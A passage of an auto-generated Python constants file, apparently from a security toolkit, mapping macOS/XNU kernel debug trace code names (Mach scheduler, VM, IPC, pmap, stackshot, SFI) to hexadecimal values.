Constant('DBG_MACH_THREAD_GROUP',0xA6) DBG_MACH_COALITION = Constant('DBG_MACH_COALITION',0xA7) DBG_MACH_SHAREDREGION = Constant('DBG_MACH_SHAREDREGION',0xA8) DBG_MACH_SCHED_CLUTCH = Constant('DBG_MACH_SCHED_CLUTCH',0xA9) DBG_MACH_IO = Constant('DBG_MACH_IO',0xAA) DBG_MACH_WORKGROUP = Constant('DBG_MACH_WORKGROUP',0xAB) DBG_MACH_HV = Constant('DBG_MACH_HV',0xAC) DBG_MACH_KCOV = Constant('DBG_MACH_KCOV',0xAD) DBG_MACH_MACHDEP_EXCP_SC_x86 = Constant('DBG_MACH_MACHDEP_EXCP_SC_x86',0xAE) DBG_MACH_MACHDEP_EXCP_SC_ARM = Constant('DBG_MACH_MACHDEP_EXCP_SC_ARM',0xAF) DBG_MACH_VM_RECLAIM = Constant('DBG_MACH_VM_RECLAIM',0xB0) DBC_MACH_IO_MMIO_READ = Constant('DBC_MACH_IO_MMIO_READ',0x1) DBC_MACH_IO_MMIO_WRITE = Constant('DBC_MACH_IO_MMIO_WRITE',0x2) DBC_MACH_IO_PHYS_READ = Constant('DBC_MACH_IO_PHYS_READ',0x3) DBC_MACH_IO_PHYS_WRITE = Constant('DBC_MACH_IO_PHYS_WRITE',0x4) DBC_MACH_IO_PORTIO_READ = Constant('DBC_MACH_IO_PORTIO_READ',0x5) DBC_MACH_IO_PORTIO_WRITE = Constant('DBC_MACH_IO_PORTIO_WRITE',0x6) DBG_INTR_TYPE_UNKNOWN = Constant('DBG_INTR_TYPE_UNKNOWN',0x0) DBG_INTR_TYPE_IPI = Constant('DBG_INTR_TYPE_IPI',0x1) DBG_INTR_TYPE_TIMER = Constant('DBG_INTR_TYPE_TIMER',0x2) DBG_INTR_TYPE_OTHER = Constant('DBG_INTR_TYPE_OTHER',0x3) DBG_INTR_TYPE_PMI = Constant('DBG_INTR_TYPE_PMI',0x4) DBG_INTR_TYPE_RSVD1 = Constant('DBG_INTR_TYPE_RSVD1',0x5) MACH_SCHED = Constant('MACH_SCHED',0x0) MACH_STACK_ATTACH = Constant('MACH_STACK_ATTACH',0x1) MACH_STACK_HANDOFF = Constant('MACH_STACK_HANDOFF',0x2) MACH_CALL_CONT = Constant('MACH_CALL_CONT',0x3) MACH_CALLOUT = Constant('MACH_CALLOUT',0x4) MACH_STACK_DETACH = Constant('MACH_STACK_DETACH',0x5) MACH_MAKE_RUNNABLE = Constant('MACH_MAKE_RUNNABLE',0x6) MACH_PROMOTE = Constant('MACH_PROMOTE',0x7) MACH_DEMOTE = Constant('MACH_DEMOTE',0x8) MACH_IDLE = Constant('MACH_IDLE',0x9) MACH_STACK_DEPTH = Constant('MACH_STACK_DEPTH',0xa) MACH_MOVED = Constant('MACH_MOVED',0xb) MACH_PSET_LOAD_AVERAGE = Constant('MACH_PSET_LOAD_AVERAGE',0xc) MACH_AMP_DEBUG = Constant('MACH_AMP_DEBUG',0xd) MACH_FAILSAFE = Constant('MACH_FAILSAFE',0xe) MACH_BLOCK = Constant('MACH_BLOCK',0xf) MACH_WAIT = Constant('MACH_WAIT',0x10) MACH_GET_URGENCY = Constant('MACH_GET_URGENCY',0x14) MACH_URGENCY = Constant('MACH_URGENCY',0x15) MACH_REDISPATCH = Constant('MACH_REDISPATCH',0x16) MACH_REMOTE_AST = Constant('MACH_REMOTE_AST',0x17) MACH_SCHED_CHOOSE_PROCESSOR = Constant('MACH_SCHED_CHOOSE_PROCESSOR',0x18) MACH_DEEP_IDLE = Constant('MACH_DEEP_IDLE',0x19) MACH_CPU_THROTTLE_DISABLE = Constant('MACH_CPU_THROTTLE_DISABLE',0x1b) MACH_RW_PROMOTE = Constant('MACH_RW_PROMOTE',0x1c) MACH_RW_DEMOTE = Constant('MACH_RW_DEMOTE',0x1d) MACH_SCHED_MAINTENANCE = Constant('MACH_SCHED_MAINTENANCE',0x1f) MACH_DISPATCH = Constant('MACH_DISPATCH',0x20) MACH_QUANTUM_HANDOFF = Constant('MACH_QUANTUM_HANDOFF',0x21) MACH_SCHED_THREAD_SWITCH = Constant('MACH_SCHED_THREAD_SWITCH',0x23) MACH_SCHED_SMT_BALANCE = Constant('MACH_SCHED_SMT_BALANCE',0x24) MACH_REMOTE_DEFERRED_AST = Constant('MACH_REMOTE_DEFERRED_AST',0x25) MACH_REMOTE_CANCEL_AST = Constant('MACH_REMOTE_CANCEL_AST',0x26) MACH_SCHED_CHANGE_PRIORITY = Constant('MACH_SCHED_CHANGE_PRIORITY',0x27) MACH_SCHED_UPDATE_REC_CORES = Constant('MACH_SCHED_UPDATE_REC_CORES',0x28) MACH_STACK_WAIT = Constant('MACH_STACK_WAIT',0x29) MACH_THREAD_BIND = Constant('MACH_THREAD_BIND',0x2a) MACH_WAITQ_PROMOTE = Constant('MACH_WAITQ_PROMOTE',0x2b) MACH_WAITQ_DEMOTE = Constant('MACH_WAITQ_DEMOTE',0x2c) MACH_SCHED_LOAD = Constant('MACH_SCHED_LOAD',0x2d) MACH_REC_CORES_FAILSAFE = Constant('MACH_REC_CORES_FAILSAFE',0x2e) MACH_SCHED_QUANTUM_EXPIRED = Constant('MACH_SCHED_QUANTUM_EXPIRED',0x2f) MACH_EXEC_PROMOTE = Constant('MACH_EXEC_PROMOTE',0x30) MACH_EXEC_DEMOTE = Constant('MACH_EXEC_DEMOTE',0x31) MACH_AMP_SIGNAL_SPILL = Constant('MACH_AMP_SIGNAL_SPILL',0x32) MACH_AMP_STEAL = Constant('MACH_AMP_STEAL',0x33) MACH_SCHED_LOAD_EFFECTIVE = Constant('MACH_SCHED_LOAD_EFFECTIVE',0x34) MACH_QUIESCENT_COUNTER = Constant('MACH_QUIESCENT_COUNTER',0x38) MACH_TURNSTILE_USER_CHANGE = Constant('MACH_TURNSTILE_USER_CHANGE',0x39) MACH_AMP_RECOMMENDATION_CHANGE = Constant('MACH_AMP_RECOMMENDATION_CHANGE',0x3a) MACH_AMP_PERFCTL_POLICY_CHANGE = Constant('MACH_AMP_PERFCTL_POLICY_CHANGE',0x3b) MACH_TURNSTILE_KERNEL_CHANGE = Constant('MACH_TURNSTILE_KERNEL_CHANGE',0x40) MACH_SCHED_WI_AUTO_JOIN = Constant('MACH_SCHED_WI_AUTO_JOIN',0x41) MACH_SCHED_WI_DEFERRED_FINISH = Constant('MACH_SCHED_WI_DEFERRED_FINISH',0x42) MACH_SET_RT_DEADLINE = Constant('MACH_SET_RT_DEADLINE',0x43) MACH_CANCEL_RT_DEADLINE = Constant('MACH_CANCEL_RT_DEADLINE',0x44) MACH_RT_SIGNAL_SPILL = Constant('MACH_RT_SIGNAL_SPILL',0x45) MACH_RT_STEAL = Constant('MACH_RT_STEAL',0x46) MACH_PENDING_AST_URGENT = Constant('MACH_PENDING_AST_URGENT',0x47) MACH_SCHED_THREAD_SELECT = Constant('MACH_SCHED_THREAD_SELECT',0x48) MACH_SCHED_NEXT_PROCESSOR = Constant('MACH_SCHED_NEXT_PROCESSOR',0x49) MACH_PSET_AVG_EXEC_TIME = Constant('MACH_PSET_AVG_EXEC_TIME',0x50) MACH_SUSPEND_USERSPACE = Constant('MACH_SUSPEND_USERSPACE',0x51) MACH_PREEMPTION_EXPIRED = Constant('MACH_PREEMPTION_EXPIRED',0x52) MACH_FLOOR_PROMOTE = Constant('MACH_FLOOR_PROMOTE',0x53) MACH_FLOOR_DEMOTE = Constant('MACH_FLOOR_DEMOTE',0x54) MACH_INT_MASKED_EXPIRED = Constant('MACH_INT_MASKED_EXPIRED',0x55) MACH_INT_HANDLED_EXPIRED = Constant('MACH_INT_HANDLED_EXPIRED',0x56) MACH_UPDATE_POWERED_CORES = Constant('MACH_UPDATE_POWERED_CORES',0x58) MACH_MODE_DEMOTE_THROTTLED = Constant('MACH_MODE_DEMOTE_THROTTLED',0x59) MACH_MODE_DEMOTE_FAILSAFE = Constant('MACH_MODE_DEMOTE_FAILSAFE',0x5a) MACH_MODE_DEMOTE_RT_DISALLOWED = Constant('MACH_MODE_DEMOTE_RT_DISALLOWED',0x5b) MACH_MODE_UNDEMOTE_THROTTLED = Constant('MACH_MODE_UNDEMOTE_THROTTLED',0x5c) MACH_MODE_UNDEMOTE_FAILSAFE = Constant('MACH_MODE_UNDEMOTE_FAILSAFE',0x5d) MACH_MODE_UNDEMOTE_RT_DISALLOWED = Constant('MACH_MODE_UNDEMOTE_RT_DISALLOWED',0x5e) MACH_INT_MASKED_RESET = Constant('MACH_INT_MASKED_RESET',0x5f) MACH_RT_DISALLOWED_WORK_INTERVAL = Constant('MACH_RT_DISALLOWED_WORK_INTERVAL',0x60) MACH_SCHED_WI_EXTERNAL_WAKEUP = Constant('MACH_SCHED_WI_EXTERNAL_WAKEUP',0x61) MACH_SCHED_AST_CHECK = Constant('MACH_SCHED_AST_CHECK',0x62) MACH_SCHED_PREEMPT_TIMER_ACTIVE = Constant('MACH_SCHED_PREEMPT_TIMER_ACTIVE',0x63) MACH_PROCESSOR_SHUTDOWN = Constant('MACH_PROCESSOR_SHUTDOWN',0x64) MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE',0x0) MACH_SCHED_CLUTCH_TG_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_STATE',0x1) MACH_SCHED_CLUTCH_THREAD_SELECT = Constant('MACH_SCHED_CLUTCH_THREAD_SELECT',0x2) MACH_SCHED_CLUTCH_THREAD_STATE = Constant('MACH_SCHED_CLUTCH_THREAD_STATE',0x3) MACH_SCHED_CLUTCH_TG_BUCKET_PRI = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_PRI',0x4) MACH_SCHED_EDGE_CLUSTER_OVERLOAD = Constant('MACH_SCHED_EDGE_CLUSTER_OVERLOAD',0x5) MACH_SCHED_EDGE_STEAL = Constant('MACH_SCHED_EDGE_STEAL',0x6) MACH_SCHED_EDGE_REBAL_RUNNABLE = Constant('MACH_SCHED_EDGE_REBAL_RUNNABLE',0x7) MACH_SCHED_EDGE_REBAL_RUNNING = Constant('MACH_SCHED_EDGE_REBAL_RUNNING',0x8) MACH_SCHED_EDGE_SHOULD_YIELD = Constant('MACH_SCHED_EDGE_SHOULD_YIELD',0x9) MACH_SCHED_CLUTCH_THR_COUNT = Constant('MACH_SCHED_CLUTCH_THR_COUNT',0xa) MACH_SCHED_EDGE_LOAD_AVG = Constant('MACH_SCHED_EDGE_LOAD_AVG',0xb) MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD = Constant('MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD',0xc) MACH_SCHED_EDGE_RSRC_HEAVY_THREAD = Constant('MACH_SCHED_EDGE_RSRC_HEAVY_THREAD',0xd) MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE = Constant('MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE',0xe) WORKGROUP_INTERVAL_CREATE = Constant('WORKGROUP_INTERVAL_CREATE',0x0) WORKGROUP_INTERVAL_DESTROY = Constant('WORKGROUP_INTERVAL_DESTROY',0x1) WORKGROUP_INTERVAL_CHANGE = Constant('WORKGROUP_INTERVAL_CHANGE',0x2) WORKGROUP_INTERVAL_START = Constant('WORKGROUP_INTERVAL_START',0x3) WORKGROUP_INTERVAL_UPDATE = Constant('WORKGROUP_INTERVAL_UPDATE',0x4) WORKGROUP_INTERVAL_FINISH = Constant('WORKGROUP_INTERVAL_FINISH',0x5) WORKGROUP_INTERVAL_SET_WORKLOAD_ID = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID',0x6) WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME',0x7) KCOV_STKSZ_THRESHOLD_ABOVE = Constant('KCOV_STKSZ_THRESHOLD_ABOVE',0x0) KCOV_STKSZ_THRESHOLD_BELOW = Constant('KCOV_STKSZ_THRESHOLD_BELOW',0x1) DBG_VM_VNODE_PAGEOUT = Constant('DBG_VM_VNODE_PAGEOUT',0x001) DBG_VM_FAULT_INTERNAL = Constant('DBG_VM_FAULT_INTERNAL',0x002) DBG_VM_PURGEABLE_TOKEN_ADD = Constant('DBG_VM_PURGEABLE_TOKEN_ADD',0x040) DBG_VM_PURGEABLE_TOKEN_DELETE = Constant('DBG_VM_PURGEABLE_TOKEN_DELETE',0x041) DBG_VM_PURGEABLE_TOKEN_RIPEN = Constant('DBG_VM_PURGEABLE_TOKEN_RIPEN',0x042) DBG_VM_PURGEABLE_OBJECT_ADD = Constant('DBG_VM_PURGEABLE_OBJECT_ADD',0x048) DBG_VM_PURGEABLE_OBJECT_REMOVE = Constant('DBG_VM_PURGEABLE_OBJECT_REMOVE',0x049) DBG_VM_PURGEABLE_OBJECT_PURGE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE',0x04a) DBG_VM_PURGEABLE_OBJECT_PURGE_ALL = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ALL',0x04b) DBG_VM_PURGEABLE_OBJECT_PURGE_ONE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ONE',0x04c) DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP',0x04e) DBG_VM_MAP_PARTIAL_REAP = Constant('DBG_VM_MAP_PARTIAL_REAP',0x054) DBG_VM_MAP_WILLNEED = Constant('DBG_VM_MAP_WILLNEED',0x055) DBG_VM_FAULT_CHECK_ZFDELAY = Constant('DBG_VM_FAULT_CHECK_ZFDELAY',0x100) DBG_VM_FAULT_COWDELAY = Constant('DBG_VM_FAULT_COWDELAY',0x101) DBG_VM_FAULT_ZFDELAY = Constant('DBG_VM_FAULT_ZFDELAY',0x102) DBG_VM_FAULT_COMPRESSORDELAY = Constant('DBG_VM_FAULT_COMPRESSORDELAY',0x103) DBG_VM_PAGEOUT_SCAN = Constant('DBG_VM_PAGEOUT_SCAN',0x104) DBG_VM_PAGEOUT_BALANCE = Constant('DBG_VM_PAGEOUT_BALANCE',0x105) DBG_VM_PAGEOUT_FREELIST = Constant('DBG_VM_PAGEOUT_FREELIST',0x106) DBG_VM_PAGEOUT_PURGEONE = Constant('DBG_VM_PAGEOUT_PURGEONE',0x107) DBG_VM_PAGEOUT_CACHE_EVICT = Constant('DBG_VM_PAGEOUT_CACHE_EVICT',0x108) DBG_VM_PAGEOUT_THREAD_BLOCK = Constant('DBG_VM_PAGEOUT_THREAD_BLOCK',0x109) DBG_VM_PAGEOUT_JETSAM = Constant('DBG_VM_PAGEOUT_JETSAM',0x10A) DBG_VM_INFO1 = Constant('DBG_VM_INFO1',0x10B) DBG_VM_INFO2 = Constant('DBG_VM_INFO2',0x10C) DBG_VM_INFO3 = Constant('DBG_VM_INFO3',0x10D) DBG_VM_INFO4 = Constant('DBG_VM_INFO4',0x10E) DBG_VM_INFO5 = Constant('DBG_VM_INFO5',0x10F) DBG_VM_INFO6 = Constant('DBG_VM_INFO6',0x110) DBG_VM_INFO7 = Constant('DBG_VM_INFO7',0x111) DBG_VM_INFO8 = Constant('DBG_VM_INFO8',0x112) DBG_VM_INFO9 = Constant('DBG_VM_INFO9',0x113) DBG_VM_INFO10 = Constant('DBG_VM_INFO10',0x114) DBG_VM_UPL_PAGE_WAIT = Constant('DBG_VM_UPL_PAGE_WAIT',0x120) DBG_VM_IOPL_PAGE_WAIT = Constant('DBG_VM_IOPL_PAGE_WAIT',0x121) DBG_VM_PAGE_WAIT_BLOCK = Constant('DBG_VM_PAGE_WAIT_BLOCK',0x122) DBG_VM_PAGE_SLEEP = Constant('DBG_VM_PAGE_SLEEP',0x123) DBG_VM_PAGE_EXPEDITE = Constant('DBG_VM_PAGE_EXPEDITE',0x124) DBG_VM_PAGE_EXPEDITE_NO_MEMORY = Constant('DBG_VM_PAGE_EXPEDITE_NO_MEMORY',0x125) DBG_VM_PAGE_GRAB = Constant('DBG_VM_PAGE_GRAB',0x126) DBG_VM_PAGE_RELEASE = Constant('DBG_VM_PAGE_RELEASE',0x127) DBG_VM_COMPRESSOR_COMPACT_AND_SWAP = Constant('DBG_VM_COMPRESSOR_COMPACT_AND_SWAP',0x128) DBG_VM_COMPRESSOR_DELAYED_COMPACT = Constant('DBG_VM_COMPRESSOR_DELAYED_COMPACT',0x129) DBG_VM_OBJECT_SLEEP = Constant('DBG_VM_OBJECT_SLEEP',0x12a) DBG_VM_PAGE_WAKEUP = Constant('DBG_VM_PAGE_WAKEUP',0x12b) DBG_VM_PAGE_WAKEUP_DONE = Constant('DBG_VM_PAGE_WAKEUP_DONE',0x12c) DBG_VM_PRESSURE_EVENT = Constant('DBG_VM_PRESSURE_EVENT',0x130) DBG_VM_EXECVE = Constant('DBG_VM_EXECVE',0x131) DBG_VM_WAKEUP_COMPACTOR_SWAPPER = Constant('DBG_VM_WAKEUP_COMPACTOR_SWAPPER',0x132) DBG_VM_UPL_REQUEST = Constant('DBG_VM_UPL_REQUEST',0x133) DBG_VM_IOPL_REQUEST = Constant('DBG_VM_IOPL_REQUEST',0x134) DBG_VM_KERN_REQUEST = Constant('DBG_VM_KERN_REQUEST',0x135) DBG_VM_DATA_WRITE = Constant('DBG_VM_DATA_WRITE',0x140) DBG_VM_PRESSURE_LEVEL_CHANGE = Constant('DBG_VM_PRESSURE_LEVEL_CHANGE',0x141) DBG_VM_PHYS_WRITE_ACCT = Constant('DBG_VM_PHYS_WRITE_ACCT',0x142) DBG_VM_MAP_LOOKUP_ENTRY_FAILURE = Constant('DBG_VM_MAP_LOOKUP_ENTRY_FAILURE',0x143) VM_DISCONNECT_ALL_PAGE_MAPPINGS = Constant('VM_DISCONNECT_ALL_PAGE_MAPPINGS',0x00) VM_DISCONNECT_TASK_PAGE_MAPPINGS = Constant('VM_DISCONNECT_TASK_PAGE_MAPPINGS',0x01) VM_REAL_FAULT_ADDR_INTERNAL = Constant('VM_REAL_FAULT_ADDR_INTERNAL',0x02) VM_REAL_FAULT_ADDR_PURGABLE = Constant('VM_REAL_FAULT_ADDR_PURGABLE',0x03) VM_REAL_FAULT_ADDR_EXTERNAL = Constant('VM_REAL_FAULT_ADDR_EXTERNAL',0x04) VM_REAL_FAULT_ADDR_SHAREDCACHE = Constant('VM_REAL_FAULT_ADDR_SHAREDCACHE',0x05) VM_REAL_FAULT_FAST = Constant('VM_REAL_FAULT_FAST',0x06) VM_REAL_FAULT_SLOW = Constant('VM_REAL_FAULT_SLOW',0x07) VM_MAP_LOOKUP_OBJECT = Constant('VM_MAP_LOOKUP_OBJECT',0x08) DBG_ZERO_FILL_FAULT = Constant('DBG_ZERO_FILL_FAULT',0x01) DBG_PAGEIN_FAULT = Constant('DBG_PAGEIN_FAULT',0x02) DBG_COW_FAULT = Constant('DBG_COW_FAULT',0x03) DBG_CACHE_HIT_FAULT = Constant('DBG_CACHE_HIT_FAULT',0x04) DBG_NZF_PAGE_FAULT = Constant('DBG_NZF_PAGE_FAULT',0x05) DBG_GUARD_FAULT = Constant('DBG_GUARD_FAULT',0x06) DBG_PAGEINV_FAULT = Constant('DBG_PAGEINV_FAULT',0x07) DBG_PAGEIND_FAULT = Constant('DBG_PAGEIND_FAULT',0x08) DBG_COMPRESSOR_FAULT = Constant('DBG_COMPRESSOR_FAULT',0x09) DBG_COMPRESSOR_SWAPIN_FAULT = Constant('DBG_COMPRESSOR_SWAPIN_FAULT',0x0a) DBG_COR_FAULT = Constant('DBG_COR_FAULT',0x0b) MACH_TASK_SUSPEND = Constant('MACH_TASK_SUSPEND',0x0) MACH_TASK_RESUME = Constant('MACH_TASK_RESUME',0x1) MACH_THREAD_SET_VOUCHER = Constant('MACH_THREAD_SET_VOUCHER',0x2) MACH_IPC_MSG_SEND = Constant('MACH_IPC_MSG_SEND',0x3) MACH_IPC_MSG_RECV = Constant('MACH_IPC_MSG_RECV',0x4) MACH_IPC_MSG_RECV_VOUCHER_REFUSED = Constant('MACH_IPC_MSG_RECV_VOUCHER_REFUSED',0x5) MACH_IPC_KMSG_FREE = Constant('MACH_IPC_KMSG_FREE',0x6) MACH_IPC_VOUCHER_CREATE = Constant('MACH_IPC_VOUCHER_CREATE',0x7) MACH_IPC_VOUCHER_CREATE_ATTR_DATA = Constant('MACH_IPC_VOUCHER_CREATE_ATTR_DATA',0x8) MACH_IPC_VOUCHER_DESTROY = Constant('MACH_IPC_VOUCHER_DESTROY',0x9) MACH_IPC_KMSG_INFO = Constant('MACH_IPC_KMSG_INFO',0xa) MACH_IPC_KMSG_LINK = Constant('MACH_IPC_KMSG_LINK',0xb) MACH_IPC_PORT_ENTRY_MODIFY = Constant('MACH_IPC_PORT_ENTRY_MODIFY',0xc) MACH_IPC_DESTROY_GUARDED_DESC = Constant('MACH_IPC_DESTROY_GUARDED_DESC',0xd) MACH_THREAD_SUSPEND = Constant('MACH_THREAD_SUSPEND',0xe) MACH_THREAD_RESUME = Constant('MACH_THREAD_RESUME',0xf) MACH_EXCLAVES_SWITCH = Constant('MACH_EXCLAVES_SWITCH',0x0) MACH_EXCLAVES_XNUPROXY = Constant('MACH_EXCLAVES_XNUPROXY',0x1) MACH_EXCLAVES_RPC = Constant('MACH_EXCLAVES_RPC',0x2) MACH_EXCLAVES_UPCALL = Constant('MACH_EXCLAVES_UPCALL',0x3) MACH_EXCLAVES_BOOT_TASK = Constant('MACH_EXCLAVES_BOOT_TASK',0x4) MACH_EXCLAVES_SCHEDULER_YIELD = Constant('MACH_EXCLAVES_SCHEDULER_YIELD',0x0) MACH_EXCLAVES_SCHEDULER_SPAWNED = Constant('MACH_EXCLAVES_SCHEDULER_SPAWNED',0x1) MACH_EXCLAVES_SCHEDULER_TERMINATED = Constant('MACH_EXCLAVES_SCHEDULER_TERMINATED',0x2) MACH_EXCLAVES_SCHEDULER_WAIT = Constant('MACH_EXCLAVES_SCHEDULER_WAIT',0x3) MACH_EXCLAVES_SCHEDULER_WAKE = Constant('MACH_EXCLAVES_SCHEDULER_WAKE',0x4) MACH_EXCLAVES_SCHEDULER_SUSPENDED = Constant('MACH_EXCLAVES_SCHEDULER_SUSPENDED',0x5) MACH_EXCLAVES_SCHEDULER_RESUMED = Constant('MACH_EXCLAVES_SCHEDULER_RESUMED',0x6) MACH_EXCLAVES_SCHEDULER_INTERRUPTED = Constant('MACH_EXCLAVES_SCHEDULER_INTERRUPTED',0x7) MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED = Constant('MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED',0x8) MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED = Constant('MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED',0x9) MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC = Constant('MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC',0xa) MACH_EPOCH_SYNC_WAIT_STALE = Constant('MACH_EPOCH_SYNC_WAIT_STALE',0x0) MACH_EPOCH_SYNC_WAIT = Constant('MACH_EPOCH_SYNC_WAIT',0x1) MACH_EPOCH_SYNC_WAKE_NO_WAITERS = Constant('MACH_EPOCH_SYNC_WAKE_NO_WAITERS',0x2) MACH_EPOCH_SYNC_WAKE_ONE = Constant('MACH_EPOCH_SYNC_WAKE_ONE',0x3) MACH_EPOCH_SYNC_WAKE_ALL = Constant('MACH_EPOCH_SYNC_WAKE_ALL',0x4) MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER = Constant('MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER',0x5) MACH_EPOCH_SYNC_WAKE_THREAD = Constant('MACH_EPOCH_SYNC_WAKE_THREAD',0x6) MACH_THREAD_GROUP_NEW = Constant('MACH_THREAD_GROUP_NEW',0x0) MACH_THREAD_GROUP_FREE = Constant('MACH_THREAD_GROUP_FREE',0x1) MACH_THREAD_GROUP_SET = Constant('MACH_THREAD_GROUP_SET',0x2) MACH_THREAD_GROUP_NAME = Constant('MACH_THREAD_GROUP_NAME',0x3) MACH_THREAD_GROUP_NAME_FREE = Constant('MACH_THREAD_GROUP_NAME_FREE',0x4) MACH_THREAD_GROUP_FLAGS = Constant('MACH_THREAD_GROUP_FLAGS',0x5) MACH_THREAD_GROUP_BLOCK = Constant('MACH_THREAD_GROUP_BLOCK',0x6) MACH_THREAD_GROUP_PREADOPT = Constant('MACH_THREAD_GROUP_PREADOPT',0x7) MACH_THREAD_GROUP_PREADOPT_NEXTTIME = Constant('MACH_THREAD_GROUP_PREADOPT_NEXTTIME',0x8) MACH_THREAD_GROUP_PREADOPT_CLEAR = Constant('MACH_THREAD_GROUP_PREADOPT_CLEAR',0x9) MACH_THREAD_GROUP_PREADOPT_NA = Constant('MACH_THREAD_GROUP_PREADOPT_NA',0xa) MACH_COALITION_NEW = Constant('MACH_COALITION_NEW',0x0) MACH_COALITION_FREE = Constant('MACH_COALITION_FREE',0x1) MACH_COALITION_ADOPT = Constant('MACH_COALITION_ADOPT',0x2) MACH_COALITION_REMOVE = Constant('MACH_COALITION_REMOVE',0x3) MACH_COALITION_THREAD_GROUP_SET = Constant('MACH_COALITION_THREAD_GROUP_SET',0x4) PMAP__CREATE = Constant('PMAP__CREATE',0x0) PMAP__DESTROY = Constant('PMAP__DESTROY',0x1) PMAP__PROTECT = Constant('PMAP__PROTECT',0x2) PMAP__PAGE_PROTECT = Constant('PMAP__PAGE_PROTECT',0x3) PMAP__ENTER = Constant('PMAP__ENTER',0x4) PMAP__REMOVE = Constant('PMAP__REMOVE',0x5) PMAP__NEST = Constant('PMAP__NEST',0x6) PMAP__UNNEST = Constant('PMAP__UNNEST',0x7) PMAP__FLUSH_TLBS = Constant('PMAP__FLUSH_TLBS',0x8) PMAP__UPDATE_INTERRUPT = Constant('PMAP__UPDATE_INTERRUPT',0x9) PMAP__ATTRIBUTE_CLEAR = Constant('PMAP__ATTRIBUTE_CLEAR',0xa) PMAP__REUSABLE = Constant('PMAP__REUSABLE',0xb) PMAP__QUERY_RESIDENT = Constant('PMAP__QUERY_RESIDENT',0xc) PMAP__FLUSH_KERN_TLBS = Constant('PMAP__FLUSH_KERN_TLBS',0xd) PMAP__FLUSH_DELAYED_TLBS = Constant('PMAP__FLUSH_DELAYED_TLBS',0xe) PMAP__FLUSH_TLBS_TO = Constant('PMAP__FLUSH_TLBS_TO',0xf) PMAP__FLUSH_EPT = Constant('PMAP__FLUSH_EPT',0x10) PMAP__FAST_FAULT = Constant('PMAP__FAST_FAULT',0x11) PMAP__SWITCH = Constant('PMAP__SWITCH',0x12) PMAP__TTE = Constant('PMAP__TTE',0x13) PMAP__SWITCH_USER_TTB = Constant('PMAP__SWITCH_USER_TTB',0x14) PMAP__UPDATE_CACHING = Constant('PMAP__UPDATE_CACHING',0x15) PMAP__ATTRIBUTE_CLEAR_RANGE = Constant('PMAP__ATTRIBUTE_CLEAR_RANGE',0x16) PMAP__CLEAR_USER_TTB = Constant('PMAP__CLEAR_USER_TTB',0x17) PMAP__IOMMU_INIT = Constant('PMAP__IOMMU_INIT',0x18) PMAP__IOMMU_IOVMALLOC = Constant('PMAP__IOMMU_IOVMALLOC',0x19) PMAP__IOMMU_IOVMFREE = Constant('PMAP__IOMMU_IOVMFREE',0x1a) PMAP__IOMMU_MAP = Constant('PMAP__IOMMU_MAP',0x1b) PMAP__IOMMU_UNMAP = Constant('PMAP__IOMMU_UNMAP',0x1c) PMAP__IOMMU_IOCTL = Constant('PMAP__IOMMU_IOCTL',0x1d) PMAP__IOMMU_GRANT_PAGE = Constant('PMAP__IOMMU_GRANT_PAGE',0x1e) PMAP__BATCH_UPDATE_CACHING = Constant('PMAP__BATCH_UPDATE_CACHING',0x1f) PMAP__COLLECT_CACHE_OPS = Constant('PMAP__COLLECT_CACHE_OPS',0x20) MACH_EPOCH_CHANGE = Constant('MACH_EPOCH_CHANGE',0x0) MACH_BRIDGE_RCV_TS = Constant('MACH_BRIDGE_RCV_TS',0x1) MACH_BRIDGE_REMOTE_TIME = Constant('MACH_BRIDGE_REMOTE_TIME',0x2) MACH_BRIDGE_RESET_TS = Constant('MACH_BRIDGE_RESET_TS',0x3) MACH_BRIDGE_TS_PARAMS = Constant('MACH_BRIDGE_TS_PARAMS',0x4) MACH_BRIDGE_SKIP_TS = Constant('MACH_BRIDGE_SKIP_TS',0x5) MACH_BRIDGE_TS_MISMATCH = Constant('MACH_BRIDGE_TS_MISMATCH',0x6) MACH_BRIDGE_OBSV_RATE = Constant('MACH_BRIDGE_OBSV_RATE',0x7) MICROSTACKSHOT_RECORD = Constant('MICROSTACKSHOT_RECORD',0x0) MICROSTACKSHOT_GATHER = Constant('MICROSTACKSHOT_GATHER',0x1) STACKSHOT_RECORD = Constant('STACKSHOT_RECORD',0x2) STACKSHOT_RECORD_SHORT = Constant('STACKSHOT_RECORD_SHORT',0x3) STACKSHOT_KERN_RECORD = Constant('STACKSHOT_KERN_RECORD',0x4) SYSDIAGNOSE_NOTIFY_USER = Constant('SYSDIAGNOSE_NOTIFY_USER',0x0) SYSDIAGNOSE_FULL = Constant('SYSDIAGNOSE_FULL',0x1) SYSDIAGNOSE_STACKSHOT = Constant('SYSDIAGNOSE_STACKSHOT',0x2) SYSDIAGNOSE_TAILSPIN = Constant('SYSDIAGNOSE_TAILSPIN',0x3) SFI_SET_WINDOW = Constant('SFI_SET_WINDOW',0x0) SFI_CANCEL_WINDOW = Constant('SFI_CANCEL_WINDOW',0x1) SFI_SET_CLASS_OFFTIME = Constant('SFI_SET_CLASS_OFFTIME',0x2) SFI_CANCEL_CLASS_OFFTIME = Constant('SFI_CANCEL_CLASS_OFFTIME',0x3) SFI_THREAD_DEFER = Constant('SFI_THREAD_DEFER',0x4) SFI_OFF_TIMER = 